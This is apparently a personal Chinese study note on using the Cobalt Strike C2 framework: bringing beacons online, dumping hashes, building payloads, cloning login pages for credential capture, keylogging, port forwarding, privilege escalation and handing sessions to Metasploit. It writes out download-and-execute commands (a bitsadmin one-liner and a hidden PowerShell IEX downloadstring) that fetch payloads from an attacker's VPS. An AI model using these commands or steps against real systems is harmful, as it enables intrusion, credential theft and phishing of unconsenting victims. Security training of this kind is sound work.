0x01 上线cs

1、设置listener
cobestrike学习笔记 - 图1
2、生成poyload,此处使用powershell命令上线
cobestrike学习笔记 - 图2
3、选择设置好的listener,选择powershell command
cobestrike学习笔记 - 图3
4、在命令行中输入生成的payload.txt命令
cobestrike学习笔记 - 图4
cobestrike学习笔记 - 图5
5、上线
cobestrike学习笔记 - 图6
6、设置监听时间为1s,此处为你在cs执行操作,目标响应的时间
在上线机器右键—>session—>sleep,修改60s为1s,在客户端机器抓包可以看到1s回连一次
cobestrike学习笔记 - 图7
7、在客户端安装科来流量分析,发现一直在http get请求 /activity
cobestrike学习笔记 - 图8
浏览器直接访问 cs服务器/activity,可以直接下载文件,此方法可以用来判断cs服务器,测试版本为cs4.3
cobestrike学习笔记 - 图9
同时cs服务器也会有被请求文件的显示
cobestrike学习笔记 - 图10
8、修改为60s,此时每分钟回连一次cs服务器,如果执行了命令,也是1分钟之后发回服务端,此处执行shell tasklist测试
cobestrike学习笔记 - 图11
发现除了每分钟发到服务段确认存活的包,还多了一个5K的数据包
cobestrike学习笔记 - 图12
确认存活数据包内容如下,返回包经过加密,访问的是/activity
cobestrike学习笔记 - 图13
执行shell tasklist的数据包如下,请求包经过加密,请求地址为POST /submit.php?id=1018569144,经测试,之后执行其他命令,返回服务端的数据也都是通过POST /submit.php?id=1018569144
cobestrike学习笔记 - 图14
cobestrike学习笔记 - 图15

0x02 https becan

cobestrike学习笔记 - 图16
cobestrike学习笔记 - 图17
DNS Beacon 需要域名解析dnstxt 客户端机器netstat看不到80端口通信,需要输入check in激活会话
SMB Beacon 内网横向 需要客户端和cs服务器都开启445 需要link到已存在的会话
TCP Beacon 内网横向 需要link到已存在的会话

0x03凭据

在上线主机右键—>Access—>Dump Hashes
cobestrike学习笔记 - 图18
直接点击凭据图标查看
cobestrike学习笔记 - 图19

0x0 4Windows Executable(Windows 可执行文件)

选择Attacks—>pPackages—>Windwos Executeable,生成可执行文件。普通的 EXE 和服务器启动调用的 EXE 是有区别是。利用 Windows Service
EXE 生成的 EXE 才能用来作为服务自启动的 EXE,利用 Cobalt Strike 中 Windows exe 生成的
EXE 不能作为服务自启动的 EXE 程序(因为不能响应Service Control Manager)
cobestrike学习笔记 - 图20
cobestrike学习笔记 - 图21

0x05 Windows Executable(s)

该程序包直接导出 Beacon(也就是 payload stage),这个 Beacon 是作者写好的32或64位 DLL,是
一个不使用 stager 的可执行文件,直接和监听器连接、传输数据和命令。一个不使用 stager 的
payload Artifact被称为无阶段的 Artifact。这个程序包也有 PowerShell 选项来导出 Beacon 作为一个
PowerShell 脚本,或 raw 选项导出与位置无关的 beacon 代码。
payload 通常被分为两部分:
payload stage 和 payload stager。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个
payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。
staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用
后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透
payload。
直接生成beacon.exe,双击上线。感觉没区别,Windows Executable(s)和Windows Executable相比感觉就是少了stage 分阶段功能,影响不大?
cobestrike学习笔记 - 图22

0x06 Web Drive-by 攻击

Attacks—>Web Driver-by
有各种攻击选项
cobestrike学习笔记 - 图23

  • Signed Applet Attack(没用过)
    这个攻击会启动一个 web 服务器来托管一个自签名的 Java applet。访客被要求给这个 applet 权限来运
    行。当一个访客准许了这个权限,你就获取了到他们系统的权限。
    Java 签名的 Applet 攻击使用 Cobalt Strike 的 Java 注入器。在 Windows 上,Java 注入器会对一个
    Windows 监听器直接往内存注入 shellcode。
    为了从这次攻击中获取最大收益,你需要从 Cobalt Strike 的武器库中下载此 Applet 套件并使用代码签
    名证书对其进行签名。
  • Smart Applet Attack (不懂)
    java 沙盒
  • Host File
    当文件服务器 类似于python http server
  • Scripted Web Delivery (S)
    选项包括:bitsadmin,powershell 和 python。
    cobestrike学习笔记 - 图24

1、bitsadmin 选项托管一个可执行文件并使用 bitsadmin 来下载它。bitsadmin 方法通过 cmd.exe 来运
行此可执行文件

cmd.exe /c bitsadmin /transfer 2e14 _http://你的vps/a %APPDATA%\2e14.exe&%APPDATA%\2e14.exe&del %APPDATA%\2e14.exe_

cobestrike学习笔记 - 图25
直接上线
cobestrike学习笔记 - 图26
2、在cs服务器上生成比如powershell命令等,配合downloadstring实现无文件落地上线
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://你的vps:80/a‘))”

  • Clone Site
    Attack—>Web Driver-by—>Clone Site
    cobestrike学习笔记 - 图27
    cobestrike学习笔记 - 图28
    访问生成的连接查看效果,挺好
    cobestrike学习笔记 - 图29
    输入登录用户名字密码后自动跳转到你设定的正常页面
    cobestrike学习笔记 - 图30
    此时键盘记录记录到了信息,View—>Web Log
    cobestrike学习笔记 - 图31
    Attack—>Web Driver-by—>system profiler
    cobestrike学习笔记 - 图32
    可以在view—>Applications查看 感觉也没收集到啥cobestrike学习笔记 - 图33

    0x07钓鱼服务(没用过)

    Attacks—>Spear phish
    cobestrike学习笔记 - 图34

    0x08 Artifact免杀(shellcode 免杀)

  • 传统的反病毒产品使用签名来识别已知的恶意程序。如果我们把一些被标记的恶意 shellcode 注入一个
    可执行文件,那么反病毒产品会识别 shellcode 并把此可执行文件标为恶意。
    为了打败这种检测,攻击者通常会以某种方式混淆 shellcode 并将其放入二进制文件中。这种混淆过程
    会打败使用简单的字符串搜索来识别恶意代码的反病毒产品
    很多反病毒产品会进行更严苛的检测。这些反病毒产品模拟一个可执行程序在一个虚拟沙盒中的执行。

  • 在执行的每个模拟步骤中,这个反病毒产品会检测在模拟的进程空间中的已知的恶意部分。如果已知的
    恶意部分出现,反病毒产品会把这个可执行文件或 DLL 标记为恶意的。这项技术打败了许多编码器和程
    序包,它们试图去从基于签名的反 AV 产品中隐藏已知的恶意部分。
  • Cobalt Strike 对此的应对策略是很简单的。这个反病毒沙盒有一些限制。这不是完整的虚拟机。有一些
    反病毒沙盒不会模拟的系统行为。这个 Artifact 工件集是一些可执行文件和 DLL 模板的集合,这些可执
    行文件和 DLL 模板依赖于一些反病毒产品不会模拟来还原二进制中的 shellcode 的行为。

    0x09 进入beacon

    在上线主机右键—>interact 进入beacon
    cobestrike学习笔记 - 图35

    0x10 beacon菜单

  • 主机右键—>Access
    子菜单包含对凭据的操作和提权在内的一些选项

cobestrike学习笔记 - 图36

  • 主机右键—>Explore
    子菜单包含信息探测和与目标系统交互的一些选项

cobestrike学习笔记 - 图37

  • 主机右键—> Pivoting
    子菜单你可以通过一个 Beacon 来配置工具来搭建流量隧道,没用过,貌似是内网sock,可以在View-Proxy Pivots查看

cobestrike学习笔记 - 图38

0x11 portscan命令和rportfwd命令

1、在beacon中使用portscan扫描端口,发现内网机器3389开启

portscan 192.168.52.143

cobestrike学习笔记 - 图39
2、使用rportfwd命令将内网机器的3389端口转发到上线主机的389端口

rportfwd 389 192.168.54.143 3389

cobestrike学习笔记 - 图40
上线主机确实开启了389
cobestrike学习笔记 - 图41
测试发现转发成功但是无法连接,可能隧道不稳定
cobestrike学习笔记 - 图42
可以在View—>Proxy Pivots查看端口转发情况
cobestrike学习笔记 - 图43
stop端口转发再远程连接389端口可以看到区别
cobestrike学习笔记 - 图44

0x12 Beacon中的命令是异步交互的

  • Beacon 是一个异步的 payload。命令不会立即执行。每个命令都会先进入队列。当 Beacon
    连接到你的时候。它会下载这些命令并挨个执行它们。此时,Beacon 会将所有的输出报告给你。如果
    输入有误,使用 clear 命令来清理当前 Beacon 的命令队列。
  • 默认情况下,Beacon 每60秒连接到你一次。你可以使用 Beacon 的 sleep 命令修改这个时间设置。
    使用 sleep 接着一个秒数来指定 Beacon 连接到你的频率。你也可以指定第二个参数,这个参数必须
    是一个0到99之间的数字。这个数字就是抖动因子。Beacon 会根据你指定的抖动因子的百分比随机变
    化下次连接到你的时间。比如, sleep 300 20 这条命令,会使得 Beacon 睡眠 300秒,另外有 20%
    的抖动因子。这意味着 Beacon 在每次连接到你之后会随机睡眠 240 - 300秒
  • 要使得 Beacon 每秒都多次连接到你,使用 sleep 0 命令

    0x13 Beacon命令

  • shell(就用过这个)

  • run
  • powershell
  • psinject
  • powershell-import
  • execute-assembly

    0x14 cs spawn会话传递、cs使用foreign listener(外置监听器)与msf联动

    1、msf设置监听

    use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 你的msf vps set lport 6666

cobestrike学习笔记 - 图45
2、cs设置 foreign监听器,地址和端口为msf的
cobestrike学习笔记 - 图46
3、在已经上线的会话右键spawn,选择创建好的foreign监听器
cobestrike学习笔记 - 图47
msf的meterpreter成功上线
cobestrike学习笔记 - 图48
此处注意,vps安装好msf之后需要新建一个msf用户来之后所有的启动msf,否则msf会失效,因为msf数据库默认不让root连接,这里一开始我失败原因就是用root启动msf

0x15 文件上传下载

上线机器—>右键 Explore—>FileBrowser
可以上传、下载、执行文件
cobestrike学习笔记 - 图49
在View—>Downloads查看下载的文件
cobestrike学习笔记 - 图50

0x16 键盘记录和屏幕截图

找到浏览器进程
在beacon输入 keylogger 浏览器pid x86
在View-Keystrokes查看键盘记录
在View → Screenshots查看截屏

0x17 查看beacon中正在进行的任务

jobs
cobestrike学习笔记 - 图51

0x18 进程列表

上线主机—>右键—>Explore—>Process List
cobestrike学习笔记 - 图52
进程浏览器中可以使用键盘记录和屏幕截图,注入到某个进程,比如chrome 比较方便

0x19 elevate 提权

上线主机右键—>Access—>Elevate
cobestrike学习笔记 - 图53
cs4.3默认有两种提权,svc-exe 和uac-token-duplication,提权时需要选择listener
cobestrike学习笔记 - 图54
尝试使用svc-exe,这里使用uac-token-duplication提权失败
svc-exe提权到system成功,可以看到又上线一台system权限的会话
cobestrike学习笔记 - 图55
cs默认只有两种提权,我们可以自己添加提权脚本
下载提权cna脚本https://github.com/rsmudge/ElevateKit,放到cs文件夹下
Cobestrike—>Script Manager—>load
cobestrike学习笔记 - 图56
选择下载好的cna文件
此时再右键上线主机—>Access—>elevate,发现多了很多提权脚本,有的只能给win10用,有的只能x86,要看实际情况
cobestrike学习笔记 - 图57

0x20 Foreign Listeners持对外监听器

要传递一个Windows HTTPS Meterpreter 会话到一个使用 msfconsole 的朋友那里,建立一个 Foreign HTTPS
payload 并将主机和端口的值指向它们的 handler
条件:
cs已经有会话上线,cs为公网vps,msf为公网vps,设置foreign listener地址为msf地址,打开msf监听模块,等待上线.